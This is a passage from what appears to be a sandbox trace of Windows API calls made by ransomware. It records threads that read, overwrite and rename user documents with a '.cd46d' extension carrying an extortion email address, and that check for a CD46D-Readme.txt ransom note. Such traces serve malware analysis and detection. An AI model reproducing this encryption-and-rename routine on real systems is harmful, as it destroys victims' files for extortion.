_Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CD46D-Readme.txt" [0048.278] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\cd46d-readme.txt")) returned 0x20 [0048.279] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x400a18) returned 1 [0048.279] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4195e0) returned 1 Thread: id = 319 os_tid = 0xb74 [0047.774] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\hhzIg7ilIz.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\hhzig7iliz.csv")) returned 0x20 [0047.774] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\hhzIg7ilIz.csv", dwFileAttributes=0x20) returned 1 [0047.774] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\hhzIg7ilIz.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\hhzig7iliz.csv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x6c8 [0047.774] GetFileSizeEx (in: hFile=0x6c8, lpFileSize=0x901fd78 | out: lpFileSize=0x901fd78*=44844) returned 1 [0047.775] SetFilePointerEx (in: hFile=0x6c8, liDistanceToMove=0xaf28, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0047.775] ReadFile (in: hFile=0x6c8, lpBuffer=0x901fcfc, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x901fcf8, lpOverlapped=0x0 | out: lpBuffer=0x901fcfc*, lpNumberOfBytesRead=0x901fcf8*=0x4, lpOverlapped=0x0) returned 1 [0047.775] SetFilePointerEx (in: hFile=0x6c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0047.775] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4ed908 [0047.775] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4ed980 [0047.775] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4ed9a8 [0047.775] NtQuerySystemTime (in: CurrentTime=0x901fcd8 | out: CurrentTime=0x901fcd8*=132174898117596000) returned 0x0 [0047.776] RtlRandomEx (in: Seed=0x901fce4 | out: Seed=0x901fce4) returned 0x3c168b93 [0047.776] RtlRandomEx (in: Seed=0x901fce4 | out: Seed=0x901fce4) returned 0x72623bc7 [0047.776] RtlRandomEx (in: Seed=0x901fce4 | out: Seed=0x901fce4) returned 0x5052c306 [0047.776] RtlRandomEx (in: Seed=0x901fce4 | out: Seed=0x901fce4) returned 0x4ed5fe3b [0047.776] RtlRandomEx (in: Seed=0x901fce4 | out: Seed=0x901fce4) returned 0x7355aeb4 [0047.776] RtlRandomEx (in: Seed=0x901fce4 | out: Seed=0x901fce4) returned 0xb7a13ff [0047.776] RtlRandomEx (in: Seed=0x901fce4 | out: Seed=0x901fce4) returned 0x2e189246 [0047.776] RtlRandomEx (in: Seed=0x901fce4 | out: Seed=0x901fce4) returned 0x23c3102e [0047.776] RtlRandomEx (in: Seed=0x901fce4 | out: Seed=0x901fce4) returned 0x28916f0b [0047.776] RtlRandomEx (in: Seed=0x901fce4 | out: Seed=0x901fce4) returned 0x444e7c93 [0047.776] RtlRandomEx (in: Seed=0x901fce4 | out: Seed=0x901fce4) returned 0x7cebf3f3 [0047.776] RtlRandomEx (in: Seed=0x901fce4 | out: Seed=0x901fce4) returned 0x376da00e [0047.776] RtlRandomEx (in: Seed=0x901fce4 | out: Seed=0x901fce4) returned 0xc88aaa0 [0047.776] RtlRandomEx (in: Seed=0x901fce4 | out: Seed=0x901fce4) returned 0x4cc54c93 [0047.776] RtlRandomEx (in: Seed=0x901fce4 | out: Seed=0x901fce4) returned 0x33790c4f [0047.776] RtlRandomEx (in: Seed=0x901fce4 | out: Seed=0x901fce4) returned 0x140ef64e [0047.776] RtlRandomEx (in: Seed=0x901fce4 | out: Seed=0x901fce4) returned 0x66dc325 [0047.776] RtlRandomEx (in: Seed=0x901fce4 | out: Seed=0x901fce4) returned 0x566bd88d [0047.776] RtlRandomEx (in: Seed=0x901fce4 | out: Seed=0x901fce4) returned 0x24d7f349 [0047.776] RtlRandomEx (in: Seed=0x901fce4 | out: Seed=0x901fce4) returned 0x7c48dc82 [0047.776] RtlRandomEx (in: Seed=0x901fce4 | out: Seed=0x901fce4) returned 0x7c1d43b6 [0047.776] RtlRandomEx (in: Seed=0x901fce4 | out: Seed=0x901fce4) returned 0x39ede31d [0047.776] RtlRandomEx (in: Seed=0x901fce4 | out: Seed=0x901fce4) returned 0x757271b9 [0047.776] RtlRandomEx (in: Seed=0x901fce4 | out: Seed=0x901fce4) returned 0x42e07e8e [0047.776] RtlRandomEx (in: Seed=0x901fce4 | out: Seed=0x901fce4) returned 0x5a2e494c [0047.776] RtlRandomEx (in: Seed=0x901fce4 | out: Seed=0x901fce4) returned 0x3df400b1 [0047.776] RtlRandomEx (in: Seed=0x901fce4 | out: Seed=0x901fce4) returned 0x6c6ac5cd [0047.776] RtlRandomEx (in: Seed=0x901fce4 | out: Seed=0x901fce4) returned 0x2e73018a [0047.776] RtlRandomEx (in: Seed=0x901fce4 | out: Seed=0x901fce4) returned 0x4ca1c114 [0047.776] RtlRandomEx (in: Seed=0x901fce4 | out: Seed=0x901fce4) returned 0x720b2f9d [0047.776] RtlRandomEx (in: Seed=0x901fce4 | out: Seed=0x901fce4) returned 0x2533987a [0047.777] RtlRandomEx (in: Seed=0x901fce4 | out: Seed=0x901fce4) returned 0x7288c3c6 [0047.788] ReadFile (in: hFile=0x6c8, lpBuffer=0x96980c8, nNumberOfBytesToRead=0xaf2c, lpNumberOfBytesRead=0x901fcd4, lpOverlapped=0x0 | out: lpBuffer=0x96980c8*, lpNumberOfBytesRead=0x901fcd4*=0xaf2c, lpOverlapped=0x0) returned 1 [0047.789] SetFilePointerEx (in: hFile=0x6c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0047.789] WriteFile (in: hFile=0x6c8, lpBuffer=0x96a48d0*, nNumberOfBytesToWrite=0xaf2c, lpNumberOfBytesWritten=0x901fcd0, lpOverlapped=0x0 | out: lpBuffer=0x96a48d0*, lpNumberOfBytesWritten=0x901fcd0*=0xaf2c, lpOverlapped=0x0) returned 1 [0048.054] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5e47208 [0048.054] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5e47230 [0048.054] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e47230) returned 1 [0048.054] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x96a48d0) returned 1 [0048.057] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x96980c8) returned 1 [0048.058] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e45bc0) returned 1 [0048.058] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402d08) returned 1 [0048.058] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x29) returned 0x40ac98 [0048.059] SetFilePointerEx (in: hFile=0x6c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0048.059] WriteFile (in: hFile=0x6c8, lpBuffer=0x95d0160*, nNumberOfBytesToWrite=0x10d, lpNumberOfBytesWritten=0x901fd38, lpOverlapped=0x0 | out: lpBuffer=0x95d0160*, lpNumberOfBytesWritten=0x901fd38*=0x10d, lpOverlapped=0x0) returned 1 [0048.127] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0160) returned 1 [0048.127] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40acd0) returned 1 [0048.127] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e47230) returned 1 [0048.127] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40ac98) returned 1 [0048.127] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e47208) returned 1 [0048.127] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ed980) returned 1 [0048.127] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ed9d0) returned 1 [0048.127] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ed9f8) returned 1 [0048.127] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xb6) returned 0x5e021e0 [0048.127] wcscpy (in: _Dest=0x5e021e0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\hhzIg7ilIz.csv" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\hhzIg7ilIz.csv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\hhzIg7ilIz.csv" [0048.127] wcscat (in: _Dest=0x5e021e0, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\hhzIg7ilIz.csv.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\hhzIg7ilIz.csv.mailto[2Hamlampampom@cock.li].cd46d" [0048.127] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\hhzIg7ilIz.csv.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x901fcf0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\hhzIg7ilIz.csv.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0048.127] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xcc) returned 0x40cda0 [0048.127] NtSetInformationFile (FileHandle=0x6c8, IoStatusBlock=0x901fce8, FileInformation=0x40cda0, Length=0xcc, FileInformationClass=0xa) returned 0x0 [0048.245] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40cda0) returned 1 [0048.245] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x450b20) returned 1 [0048.245] NtQueryInformationFile (in: FileHandle=0x6c8, IoStatusBlock=0x901fcfc, FileInformation=0x901fcd4, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x901fcfc, FileInformation=0x901fcd4) returned 0x0 [0048.245] NtSetInformationFile (FileHandle=0x6c8, IoStatusBlock=0x901fcfc, FileInformation=0x901fcd4, Length=0x28, FileInformationClass=0x4) returned 0x0 [0048.246] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e021e0) returned 1 [0048.246] FlushFileBuffers (hFile=0x6c8) returned 1 [0048.279] CloseHandle (hObject=0x6c8) returned 1 [0048.281] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x74) returned 0x400a18 [0048.281] wcscpy (in: _Dest=0x400a18, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0048.281] wcscat (in: _Dest=0x400a18, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CD46D-Readme.txt" [0048.281] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\cd46d-readme.txt")) returned 0x20 [0048.281] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x400a18) returned 1 [0048.281] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x419658) returned 1 Thread: id = 320 os_tid = 0xb78 [0047.790] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\jkYQ.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\jkyq.docx")) returned 0x20 [0047.790] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\jkYQ.docx", dwFileAttributes=0x20) returned 1 [0047.790] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\jkYQ.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\jkyq.docx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x6cc [0047.790] GetFileSizeEx (in: hFile=0x6cc, lpFileSize=0x6defb90 | out: lpFileSize=0x6defb90*=87559) returned 1 [0047.790] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x15603, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0047.790] ReadFile (in: hFile=0x6cc, lpBuffer=0x6defb14, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x6defb10, lpOverlapped=0x0 | out: lpBuffer=0x6defb14*, lpNumberOfBytesRead=0x6defb10*=0x4, lpOverlapped=0x0) returned 1 [0047.791] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0047.791] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4ed908 [0047.791] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4ed9a8 [0047.791] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4eda20 [0047.791] NtQuerySystemTime (in: CurrentTime=0x6defaf0 | out: CurrentTime=0x6defaf0*=132174898117752000) returned 0x0 [0047.791] RtlRandomEx (in: Seed=0x6defafc | out: Seed=0x6defafc) returned 0x70a9d5db [0047.791] RtlRandomEx (in: Seed=0x6defafc | out: Seed=0x6defafc) returned 0x1189dc9f [0047.791] RtlRandomEx (in: Seed=0x6defafc | out: Seed=0x6defafc) returned 0x7a824a32 [0047.791] RtlRandomEx (in: Seed=0x6defafc | out: Seed=0x6defafc) returned 0x6b6a2dff [0047.791] RtlRandomEx (in: Seed=0x6defafc | out: Seed=0x6defafc) returned 0x58108e4e [0047.791] RtlRandomEx (in: Seed=0x6defafc | out: Seed=0x6defafc) returned 0x22ecd46e [0047.791] RtlRandomEx (in: Seed=0x6defafc | out: Seed=0x6defafc) returned 0x46996f3e [0047.791] RtlRandomEx (in: Seed=0x6defafc | out: Seed=0x6defafc) returned 0x4003befa [0047.791] RtlRandomEx (in: Seed=0x6defafc | out: Seed=0x6defafc) returned 0x2927a384 [0047.791] RtlRandomEx (in: Seed=0x6defafc | out: Seed=0x6defafc) returned 0x73de55d [0047.791] RtlRandomEx (in: Seed=0x6defafc | out: Seed=0x6defafc) returned 0x226c4a2e [0047.791] RtlRandomEx (in: Seed=0x6defafc | out: Seed=0x6defafc) returned 0x595c1dab [0047.791] RtlRandomEx (in: Seed=0x6defafc | out: Seed=0x6defafc) returned 0x16f2ae45 [0047.791] RtlRandomEx (in: Seed=0x6defafc | out: Seed=0x6defafc) returned 0x7bc0b6cc [0047.791] RtlRandomEx (in: Seed=0x6defafc | out: Seed=0x6defafc) returned 0x4424b0b6 [0047.792] RtlRandomEx (in: Seed=0x6defafc | out: Seed=0x6defafc) returned 0x477d190f [0047.792] RtlRandomEx (in: Seed=0x6defafc | out: Seed=0x6defafc) returned 0x593b0176 [0047.792] RtlRandomEx (in: Seed=0x6defafc | out: Seed=0x6defafc) returned 0x15dea35c [0047.792] RtlRandomEx (in: Seed=0x6defafc | out: Seed=0x6defafc) returned 0x594d493d [0047.792] RtlRandomEx (in: Seed=0x6defafc | out: Seed=0x6defafc) returned 0x7f4c1a02 [0047.792] RtlRandomEx (in: Seed=0x6defafc | out: Seed=0x6defafc) returned 0x7da5df38 [0047.792] RtlRandomEx (in: Seed=0x6defafc | out: Seed=0x6defafc) returned 0x6f37eaf7 [0047.792] RtlRandomEx (in: Seed=0x6defafc | out: Seed=0x6defafc) returned 0x71c08f83 [0047.792] RtlRandomEx (in: Seed=0x6defafc | out: Seed=0x6defafc) returned 0x236d5eae [0047.792] RtlRandomEx (in: Seed=0x6defafc | out: Seed=0x6defafc) returned 0x4341e06 [0047.792] RtlRandomEx (in: Seed=0x6defafc | out: Seed=0x6defafc) returned 0x5a30cf26 [0047.792] RtlRandomEx (in: Seed=0x6defafc | out: Seed=0x6defafc) returned 0xb24938a [0047.792] RtlRandomEx (in: Seed=0x6defafc | out: Seed=0x6defafc) returned 0x28615a75 [0047.792] RtlRandomEx (in: Seed=0x6defafc | out: Seed=0x6defafc) returned 0x4c73255a [0047.792] RtlRandomEx (in: Seed=0x6defafc | out: Seed=0x6defafc) returned 0x51f6039e [0047.792] RtlRandomEx (in: Seed=0x6defafc | out: Seed=0x6defafc) returned 0x3fd3c98f [0047.792] RtlRandomEx (in: Seed=0x6defafc | out: Seed=0x6defafc) returned 0xf5da819 [0047.803] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0047.803] ReadFile (in: hFile=0x6cc, lpBuffer=0x96b10d8, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x6defad0, lpOverlapped=0x0 | out: lpBuffer=0x96b10d8*, lpNumberOfBytesRead=0x6defad0*=0xc800, lpOverlapped=0x0) returned 1 [0047.804] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0047.804] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x402d50 [0047.804] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x5e45c38 [0047.804] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4ed908 [0047.804] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ed908) returned 1 [0047.805] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x96bd8e0 [0047.807] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4ed908 [0047.807] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4eda20 [0047.807] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4eda20) returned 1 [0047.807] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e45c38) returned 1 [0047.807] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402d50) returned 1 [0047.807] WriteFile (in: hFile=0x6cc, lpBuffer=0x96bd8e0*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x6defad0, lpOverlapped=0x0 | out: lpBuffer=0x96bd8e0*, lpNumberOfBytesWritten=0x6defad0*=0xc800, lpOverlapped=0x0) returned 1 [0048.063] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x96bd8e0) returned 1 [0048.065] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x96b10d8) returned 1 [0048.067] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x1f) returned 0x5e47258 [0048.067] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0048.067] WriteFile (in: hFile=0x6cc, lpBuffer=0x95d0278*, nNumberOfBytesToWrite=0x103, lpNumberOfBytesWritten=0x6defb50, lpOverlapped=0x0 | out: lpBuffer=0x95d0278*, lpNumberOfBytesWritten=0x6defb50*=0x103, lpOverlapped=0x0) returned 1 [0048.128] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0278) returned 1 [0048.128] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e47280) returned 1 [0048.128] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e472a8) returned 1 [0048.128] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e47258) returned 1 [0048.128] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ed908) returned 1 [0048.128] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ed9a8) returned 1 [0048.128] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4eda48) returned 1 [0048.128] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4eda70) returned 1 [0048.128] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xac) returned 0x442c78 [0048.129] wcscpy (in: _Dest=0x442c78, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\jkYQ.docx" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\jkYQ.docx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\jkYQ.docx" [0048.129] wcscat (in: _Dest=0x442c78, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\jkYQ.docx.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\jkYQ.docx.mailto[2Hamlampampom@cock.li].cd46d" [0048.129] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\jkYQ.docx.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x6defb08, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\jkYQ.docx.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0048.129] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc2) returned 0x5e007b0 [0048.129] NtSetInformationFile (FileHandle=0x6cc, IoStatusBlock=0x6defb00, FileInformation=0x5e007b0, Length=0xc2, FileInformationClass=0xa) returned 0x0 [0048.247] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e007b0) returned 1 [0048.247] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4508f8) returned 1 [0048.247] NtQueryInformationFile (in: FileHandle=0x6cc, IoStatusBlock=0x6defb14, FileInformation=0x6defaec, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x6defb14, FileInformation=0x6defaec) returned 0x0 [0048.247] NtSetInformationFile (FileHandle=0x6cc, IoStatusBlock=0x6defb14, FileInformation=0x6defaec, Length=0x28, FileInformationClass=0x4) returned 0x0 [0048.248] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x442c78) returned 1 [0048.249] FlushFileBuffers (hFile=0x6cc) returned 1 [0048.282] CloseHandle (hObject=0x6cc) returned 1 [0048.284] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x74) returned 0x400a18 [0048.284] wcscpy (in: _Dest=0x400a18, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0048.284] wcscat (in: _Dest=0x400a18, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CD46D-Readme.txt" [0048.284] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\cd46d-readme.txt")) returned 0x20 [0048.284] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x400a18) returned 1 [0048.284] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x421738) returned 1 Thread: id = 321 os_tid = 0xb7c [0047.807] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\L-BaTG.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\l-batg.xlsx")) returned 0x20 [0047.807] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\L-BaTG.xlsx", dwFileAttributes=0x20) returned 1 [0047.808] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\L-BaTG.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\l-batg.xlsx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x6d0 [0047.808] GetFileSizeEx (in: hFile=0x6d0, lpFileSize=0x930fe5c | out: lpFileSize=0x930fe5c*=76475) returned 1 [0047.808] SetFilePointerEx (in: hFile=0x6d0, liDistanceToMove=0x12ab7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0047.808] ReadFile (in: hFile=0x6d0, lpBuffer=0x930fde0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x930fddc, lpOverlapped=0x0 | out: lpBuffer=0x930fde0*, lpNumberOfBytesRead=0x930fddc*=0x4, lpOverlapped=0x0) returned 1 [0047.809] SetFilePointerEx (in: hFile=0x6d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0047.809] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4eda20 [0047.809] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4eda98 [0047.809] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4edac0 [0047.809] NtQuerySystemTime (in: CurrentTime=0x930fdbc | out: CurrentTime=0x930fdbc*=132174898117908000) returned 0x0 [0047.809] RtlRandomEx (in: Seed=0x930fdc8 | out: Seed=0x930fdc8) returned 0x4453acf9 [0047.809] RtlRandomEx (in: Seed=0x930fdc8 | out: Seed=0x930fdc8) returned 0x6dc3235a [0047.809] RtlRandomEx (in: Seed=0x930fdc8 | out: Seed=0x930fdc8) returned 0x3b5c98c3 [0047.809] RtlRandomEx (in: Seed=0x930fdc8 | out: Seed=0x930fdc8) returned 0x3cb3be9c [0047.809] RtlRandomEx (in: Seed=0x930fdc8 | out: Seed=0x930fdc8) returned 0x385ef4de [0047.809] RtlRandomEx (in: Seed=0x930fdc8 | out: Seed=0x930fdc8) returned 0x41bb4aa5 [0047.809] RtlRandomEx (in: Seed=0x930fdc8 | out: Seed=0x930fdc8) returned 0x53963cb3 [0047.809] RtlRandomEx (in: Seed=0x930fdc8 | out: Seed=0x930fdc8) returned 0x625f472a [0047.809] RtlRandomEx (in: Seed=0x930fdc8 | out: Seed=0x930fdc8) returned 0x661ccd9a [0047.809] RtlRandomEx (in: Seed=0x930fdc8 | out: Seed=0x930fdc8) returned 0x1a4abec0 [0047.809] RtlRandomEx (in: Seed=0x930fdc8 | out: Seed=0x930fdc8) returned 0x162af774 [0047.809] RtlRandomEx (in: Seed=0x930fdc8 | out: Seed=0x930fdc8) returned 0x56a093e3 [0047.809] RtlRandomEx (in: Seed=0x930fdc8 | out: Seed=0x930fdc8) returned 0x6f90e2bb [0047.809] RtlRandomEx (in: Seed=0x930fdc8 | out: Seed=0x930fdc8) returned 0x7de0a683 [0047.809] RtlRandomEx (in: Seed=0x930fdc8 | out: Seed=0x930fdc8) returned 0x79e4e303 [0047.809] RtlRandomEx (in: Seed=0x930fdc8 | out: Seed=0x930fdc8) returned 0x2a879323 [0047.809] RtlRandomEx (in: Seed=0x930fdc8 | out: Seed=0x930fdc8) returned 0x37c65ffa [0047.809] RtlRandomEx (in: Seed=0x930fdc8 | out: 